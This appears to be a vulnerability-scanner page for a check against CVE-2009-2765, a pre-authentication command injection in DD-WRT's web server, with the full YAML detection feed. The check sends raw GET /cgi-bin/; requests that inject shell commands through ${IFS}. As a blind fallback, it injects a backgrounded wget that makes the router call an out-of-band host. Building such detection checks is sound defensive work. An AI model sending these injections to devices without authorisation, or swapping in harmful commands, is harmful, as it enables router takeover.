DD-WRT — 1 vulnerability check
noctis ships 1 vulnerability check for DD-WRT, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
DD-WRT httpd /cgi-bin/ unauthenticated shell command injection
| CVE | CVE-2009-2765 |
|---|---|
| Severity | high · CVSS 8.3 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, tcp_connect, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/dd-wrt/CVE-2009-2765.yaml |
Detects the unauthenticated command injection in the DD-WRT web management server (v24-sp1 and other builds before 12533), which passes a /cgi-bin/ URI to the shell. The feed sends GET /cgi-bin/;<command> requests whose command prints NOCTIS followed by the difference of two random numbers, computed by shell arithmetic and redirected to the client connection's file descriptor (5, 6, then 7). The finding fires when the computed value comes back in the reply, which proves the router ran the command. When no value comes back and an out-of-band listener is configured, the feed injects a backgrounded wget of a per-run callback URL and reports the issue when the callback arrives (this also covers the HTTPS management port). The commands change nothing on the device.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}))>&5 HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}))>&6 HTTP/1.0 - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}))>&7 HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
res.textforNOCTIS[0-9]{6}→ finding QoD 97: Unauthenticated GET /cgi-bin/;echo${IFS}NOCTIS$((…-…))>&… returned the shell-computed marker … at …:… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/;wget${IFS}-q${IFS}-O${IFS}/dev/null${IFS}http://{{oob_host}}:{{oob_port}}/{… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Unauthenticated GET /cgi-bin/;wget … made the router fetch the per-run OOB URL (token split with '' so only a shell rebuilds it) — HTTP cal…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-2765
- https://www.exploit-db.com/exploits/9209
- https://www.exploit-db.com/exploits/16856
- https://www.rapid7.com/db/modules/exploit/linux/http/ddwrt_cgibin_exec
- http://www.securityfocus.com/bid/35742
Feed source — tests/vulnerabilities/dd-wrt/CVE-2009-2765.yaml
# DD-WRT httpd — unauthenticated shell metacharacter injection through
# /cgi-bin/ URIs (CVE-2009-2765, BID 35742, EDB 9209; fixed in build 12533)
#
# Ported from OpenVAS/Greenbone NASL 2013/gb_dd_wrt_35742.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103792, GPL-2.0-only). The NASL requires a
# "Server: httpd" header, then sends `GET /cgi-bin/;id>&<fd> HTTP/1.0` for
# fd 5, 6 and 7 (the command runs through the shell with the client socket
# inherited, so redirecting stdout to the socket's descriptor puts the output
# in the reply) and matches "uid=" and "gid=". The Metasploit module
# (exploits/linux/http/ddwrt_cgibin_exec) sends the same raw URI shape with
# ${IFS} for spaces and a trailing "&".
#
# Better than the NASL:
# - Proof: `echo${IFS}NOCTIS$((a-b))>&<fd>` with two random 6-digit operands;
# the difference never appears in the request, so a page reflecting the
# URI cannot match. DD-WRT's /bin/sh is BusyBox ash, which has $((...)).
# Subtraction rather than addition: a `+` may turn into a space if the URI
# is form-decoded.
# - Blind fallback (when OOB is configured and no in-band proof came back):
# a backgrounded `wget -q -O /dev/null <oob url>&`, the OOB token split
# with '' so only a shell rebuilds it. This covers the HTTPS management
# port, where the command writes plain bytes straight into the TLS socket
# (the in-band output never reaches the client as text), and devices whose
# socket is on another descriptor. Backgrounded so a filtered OOB host
# cannot hold the httpd (which runs the command synchronously).
# - No "Server: httpd" pre-gate: the arithmetic proof makes it unnecessary
# and the gate misses builds behind a proxy.
# Side effect, as in the upstream check: a descriptor 5-7 that is not the
# client socket receives the one-line marker (or a "Bad file descriptor" error
# when closed).
# Raw tcp_connect so the URI goes out byte for byte (no normalisation).
# CVSS 8.3 is the NVD v2 score (NVD lists no v3 score for this CVE).
uid: 7663af0a-4ff6-44e7-a840-386a242ad6ce
name: "DD-WRT httpd /cgi-bin/ unauthenticated shell command injection"
description: |
Detects the unauthenticated command injection in the DD-WRT web management
server (v24-sp1 and other builds before 12533), which passes a /cgi-bin/ URI
to the shell. The feed sends GET /cgi-bin/;<command> requests whose command
prints NOCTIS followed by the difference of two random numbers, computed by
shell arithmetic and redirected to the client connection's file descriptor
(5, 6, then 7). The finding fires when the computed value comes back in the
reply, which proves the router ran the command. When no value comes back and
an out-of-band listener is configured, the feed injects a backgrounded wget
of a per-run callback URL and reports the issue when the callback arrives
(this also covers the HTTPS management port). The commands change nothing
on the device.
cves: [CVE-2009-2765]
cvss: 8.3
severity: high
category: rce
confidence_base: 0.30
tags: [dd-wrt, router, httpd, command-injection, rce, pre-auth, iot, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-2765"
- "https://www.exploit-db.com/exploits/9209"
- "https://www.exploit-db.com/exploits/16856"
- "https://www.rapid7.com/db/modules/exploit/linux/http/ddwrt_cgibin_exec"
- "http://www.securityfocus.com/bid/35742"
- "OpenVAS/Greenbone NASL 2013/gb_dd_wrt_35742.nasl (GPL-2.0-only)"
steps:
# Pre-initialise every stored result read by a later script/condition.
- id: init-r5
action: set_var
var_name: r5
var_value: {connected: false, banner: ""}
- id: init-r6
action: set_var
var_name: r6
var_value: {connected: false, banner: ""}
- id: init-r7
action: set_var
var_name: r7
var_value: {connected: false, banner: ""}
# Random operands: only their difference (never sent) proves execution.
- id: build
action: script
store_as: p
code: |
let a = rand_int(800000, 999999);
let b = rand_int(100000, 299999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a - b) }
- id: inject-fd5
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}))>&5 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: r5
- id: hit-fd5
action: script
store_as: h5
code: |
type_of(r5.banner) == "string" && stridx(r5.banner, p.marker) >= 0
- id: inject-fd6
action: tcp_connect
port: "{{port}}"
condition: "h5 == false"
send: "GET /cgi-bin/;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}))>&6 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: r6
- id: hit-fd6
action: script
store_as: h6
code: |
!h5 && type_of(r6.banner) == "string" && stridx(r6.banner, p.marker) >= 0
- id: inject-fd7
action: tcp_connect
port: "{{port}}"
condition: "h5 == false && h6 == false"
send: "GET /cgi-bin/;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}))>&7 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: r7
# Gather the proof: which descriptor answered, and the reply that carried it.
- id: result
action: script
store_as: res
code: |
if h5 { #{ hit: true, fd: "5", text: r5.banner } }
else if h6 { #{ hit: true, fd: "6", text: r6.banner } }
else if type_of(r7.banner) == "string" && stridx(r7.banner, p.marker) >= 0 { #{ hit: true, fd: "7", text: r7.banner } }
else { #{ hit: false, fd: "", text: "" } }
- id: confirm-inband
action: match
source: res.text
pattern: "NOCTIS[0-9]{6}"
condition: "res.hit == true"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Unauthenticated GET /cgi-bin/;echo${IFS}NOCTIS$(({{p.a}}-{{p.b}}))>&{{res.fd}} returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
stop: true
# --- Blind fallback: backgrounded wget of the per-run OOB URL ---
- id: split-oob-token
action: script
condition: "oob_enabled && res.hit == false"
store_as: oobsplit
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
- id: inject-oob
action: tcp_connect
port: "{{port}}"
condition: "oob_enabled && res.hit == false"
send: "GET /cgi-bin/;wget${IFS}-q${IFS}-O${IFS}/dev/null${IFS}http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}''{{oobsplit.b}}& HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && res.hit == false"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Unauthenticated GET /cgi-bin/;wget … made the router fetch the per-run OOB URL (token split with '' so only a shell rebuilds it) — HTTP callback received from {{target_host}}:{{port}}"
stop: true